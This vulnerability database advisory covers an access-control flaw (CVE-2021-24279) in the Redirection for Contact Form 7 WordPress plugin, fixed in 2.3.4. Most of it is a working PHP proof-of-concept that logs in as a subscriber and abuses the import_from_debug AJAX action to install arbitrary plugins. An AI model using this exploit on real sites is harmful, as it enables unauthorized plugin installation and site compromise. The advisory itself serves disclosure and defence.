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WordPress Plugin Vulnerabilities

Redirection for Contact Form 7 < 2.3.4 - Authenticated Arbitrary Plugin Installation

Description

In the plugin, low level users, such as subscribers, could use the import_from_debug AJAX action to install any plugin from the WordPress repository. 

Proof of Concept

<?php
// Settings
$wp_url = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];

// Log in as subscriber
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

// Install some plugins
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'import_from_debug',
    'data[debug_info]' => 'a:7:{s:7:"actions";a:0:{}s:9:"form_meta";a:7:{s:5:"_form";a:1:{i:0;s:241:"<label> Your name
    [text* your-name] </label>

<label> Your email
    [email* your-email] </label>

<label> Subject
    [text* your-subject] </label>

<label> Your message (optional)
    [textarea your-message] </label>

[submit "Submit"]";}s:5:"_mail";a:1:{i:0;s:473:"a:8:{s:7:"subject";s:30:"[_site_title] "[your-subject]"";s:6:"sender";s:42:"[_site_title] <>";s:4:"body";s:163:"From: [your-name] <[your-email]>
Subject: [your-subject]

Message Body:
[your-message]

-- 
This e-mail was sent from a contact form on [_site_title] ([_site_url])";s:9:"recipient";s:19:"[_site_admin_email]";s:18:"additional_headers";s:22:"Reply-To: [your-email]";s:11:"attachments";s:0:"";s:8:"use_html";i:0;s:13:"exclude_blank";i:0;}";}s:7:"_mail_2";a:1:{i:0;s:432:"a:9:{s:6:"active";b:0;s:7:"subject";s:30:"[_site_title] "[your-subject]"";s:6:"sender";s:42:"[_site_title] <>";s:4:"body";s:105:"Message Body:
[your-message]

-- 
This e-mail was sent from a contact form on [_site_title] ([_site_url])";s:9:"recipient";s:12:"[your-email]";s:18:"additional_headers";s:29:"Reply-To: [_site_admin_email]";s:11:"attachments";s:0:"";s:8:"use_html";i:0;s:13:"exclude_blank";i:0;}";}s:9:"_messages";a:1:{i:0;s:622:"a:8:{s:12:"mail_sent_ok";s:45:"Thank you for your message. It has been sent.";s:12:"mail_sent_ng";s:71:"There was an error trying to send your message. Please try again later.";s:16:"validation_error";s:61:"One or more fields have an error. Please check and try again.";s:4:"spam";s:71:"There was an error trying to send your message. Please try again later.";s:12:"accept_terms";s:69:"You must accept the terms and conditions before sending your message.";s:16:"invalid_required";s:22:"The field is required.";s:16:"invalid_too_long";s:22:"The field is too long.";s:17:"invalid_too_short";s:23:"The field is too short.";}";}s:20:"_additional_settings";a:1:{i:0;N;}s:7:"_locale";a:1:{i:0;s:5:"en_US";}s:25:"migrate_from_cf7_redirect";a:1:{i:0;s:1:"1";}}s:9:"form_post";O:7:"WP_Post":24:{s:2:"ID";i:5;s:11:"post_author";s:1:"1";s:9:"post_date";s:19:"2021-02-10 19:22:04";s:13:"post_date_gmt";s:19:"2021-02-10 19:22:04";s:12:"post_content";s:1148:"<label> Your name
    [text* your-name] </label>

<label> Your email
    [email* your-email] </label>

<label> Subject
    [text* your-subject] </label>

<label> Your message (optional)
    [textarea your-message] </label>

[submit "Submit"]
[_site_title] "[your-subject]"
[_site_title] <>
From: [your-name] <[your-email]>
Subject: [your-subject]

Message Body:
[your-message]

-- 
This e-mail was sent from a contact form on [_site_title] ([_site_url])
[_site_admin_email]
Reply-To: [your-email]

0
0

[_site_title] "[your-subject]"
[_site_title] <>
Message Body:
[your-message]

-- 
This e-mail was sent from a contact form on [_site_title] ([_site_url])
[your-email]
Reply-To: [_site_admin_email]

0
0
Thank you for your message. It has been sent.
There was an error trying to send your message. Please try again later.
One or more fields have an error. Please check and try again.
There was an error trying to send your message. Please try again later.
You must accept the terms and conditions before sending your message.
The field is required.
The field is too long.
The field is too short.";s:10:"post_title";s:14:"Contact form 1";s:12:"post_excerpt";s:0:"";s:11:"post_status";s:7:"publish";s:14:"comment_status";s:6:"closed";s:11:"ping_status";s:6:"closed";s:13:"post_password";s:0:"";s:9:"post_name";s:14:"contact-form-1";s:7:"to_ping";s:0:"";s:6:"pinged";s:0:"";s:13:"post_modified";s:19:"2021-02-10 19:22:04";s:17:"post_modified_gmt";s:19:"2021-02-10 19:22:04";s:21:"post_content_filtered";s:0:"";s:11:"post_parent";i:0;s:4:"guid";s:62:"[URL]/?post_type=wpcf7_contact_form&p=5";s:10:"menu_order";i:0;s:9:"post_type";s:18:"wpcf7_contact_form";s:14:"post_mime_type";s:0:"";s:13:"comment_count";s:1:"0";s:6:"filter";s:3:"raw";}s:7:"plugins";s:4088:"{"akismet\/akismet.php":{"Name":"Akismet Anti-Spam","PluginURI":"https:\/\/akismet.com\/","Version":"4.1.7","Description":"Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam<\/strong>. It keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.","Author":"Automattic","AuthorURI":"https:\/\/automattic.com\/wordpress-plugins\/","TextDomain":"akismet","DomainPath":"","Network":false,"RequiresWP":"","RequiresPHP":"","Title":"Akismet Anti-Spam","AuthorName":"Automattic"},"contact-form-7\/wp-contact-form-7.php":{"Name":"Contact Form 7","PluginURI":"https:\/\/contactform7.com\/","Version":"5.3.2","Description":"Just another contact form plugin. Simple but flexible.","Author":"Takayuki Miyoshi","AuthorURI":"https:\/\/ideasilo.wordpress.com\/","TextDomain":"contact-form-7","DomainPath":"\/languages\/","Network":false,"RequiresWP":"","RequiresPHP":"","Title":"Contact Form 7","AuthorName":"Takayuki Miyoshi"},"duplicator\/duplicator.php":{"Name":"Duplicator","PluginURI":"https:\/\/snapcreek.com\/duplicator\/duplicator-free\/","Version":"1.3.24","Description":"Migrate and backup a copy of your WordPress files and database. Duplicate and move a site from one location to another quickly.","Author":"Snap Creek","AuthorURI":"http:\/\/www.snapcreek.com\/duplicator\/","TextDomain":"duplicator","DomainPath":"","Network":false,"RequiresWP":"","RequiresPHP":"","Title":"Duplicator","AuthorName":"Snap Creek"},"hello.php":{"Name":"Hello Dolly","PluginURI":"http:\/\/wordpress.org\/plugins\/hello-dolly\/","Version":"1.7.2","Description":"This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly<\/cite> in the upper right of your admin screen on every page.","Author":"Matt Mullenweg","AuthorURI":"http:\/\/ma.tt\/","TextDomain":"","DomainPath":"","Network":false,"RequiresWP":"","RequiresPHP":"","Title":"Hello Dolly","AuthorName":"Matt Mullenweg"},"wpcf7-redirect\/wpcf7-redirect.php":{"Name":"Redirection for Contact Form 7","PluginURI":"https:\/\/redirection-for-contact-form7.com\/","Version":"2.3.3","Description":"The ultimate add-on for Contact Form 7 - redirect to any page after submission, fire scripts, save submissions in database, and much more options to make Contact Form 7 poweful than ever.","Author":"Query Solutions","AuthorURI":"https:\/\/redirection-for-contact-form7.com\/","TextDomain":"wpcf7-redirect","DomainPath":"\/lang","Network":false,"RequiresWP":"5.1","RequiresPHP":"","Title":"Redirection for Contact Form 7","AuthorName":"Query Solutions"},"wordfence\/wordfence.php":{"Name":"Wordfence Security","PluginURI":"http:\/\/www.wordfence.com\/","Version":"7.4.14","Description":"Wordfence Security - Anti-virus, Firewall and Malware Scan","Author":"Wordfence","AuthorURI":"http:\/\/www.wordfence.com\/","TextDomain":"wordfence","DomainPath":"\/languages","Network":true,"RequiresWP":"","RequiresPHP":"","Title":"Wordfence Security","AuthorName":"Wordfence"},"wp-central\/wpcentral.php":{"Name":"wpCentral","PluginURI":"https:\/\/wpcentral.co","Version":"1.4.8","Description":"wpCentral provides a centralized area where you can manage all your WordPress websites singularly, unitedly as well as efficiently.","Author":"Softaculous Ltd.","AuthorURI":"https:\/\/wpcentral.co","TextDomain":"wpCentral","DomainPath":"","Network":false,"RequiresWP":"","RequiresPHP":"","Title":"wpCentral","AuthorName":"Softaculous Ltd."},"wp-rollback\/wp-rollback.php":{"Name":"WP Rollback","PluginURI":"https:\/\/impress.org\/","Version":"1.7.1","Description":"Rollback (or forward) any WordPress.org plugin or theme like a boss.","Author":"Impress.org","AuthorURI":"https:\/\/impress.org\/","TextDomain":"wp-rollback","DomainPath":"\/languages","Network":false,"RequiresWP":"","RequiresPHP":"","Title":"WP Rollback","AuthorName":"Impress.org"}}";s:6:"phpver";s:23:"7.2.24-0ubuntu0.18.04.6";s:10:"wp_version";s:3:"5.6";s:8:"site_url";s:28:"[site_url]";}
'

]);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);


?> 

Affects Plugins

wpcf7-redirect
Fixed in version 2.3.4

References

CVE
CVE-2021-24279
URL
https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/

Classification

Type

ACCESS CONTROLS

OWASP top 10
A5: Broken Access Control
CWE
CWE-284

Miscellaneous

Original Researcher

Chloe Chamberland

Submitter

Chloe

Submitter website
https://wordfence.com
Submitter twitter
infosecchloe
Verified

Yes

WPVDB ID
75f7690d-7f6b-48a8-a9d1-95578a657920

Timeline

Publicly Published

2021-04-20 (about 1 years ago)

Added

2021-04-20 (about 1 years ago)

Last Updated

2021-04-21 (about 1 years ago)

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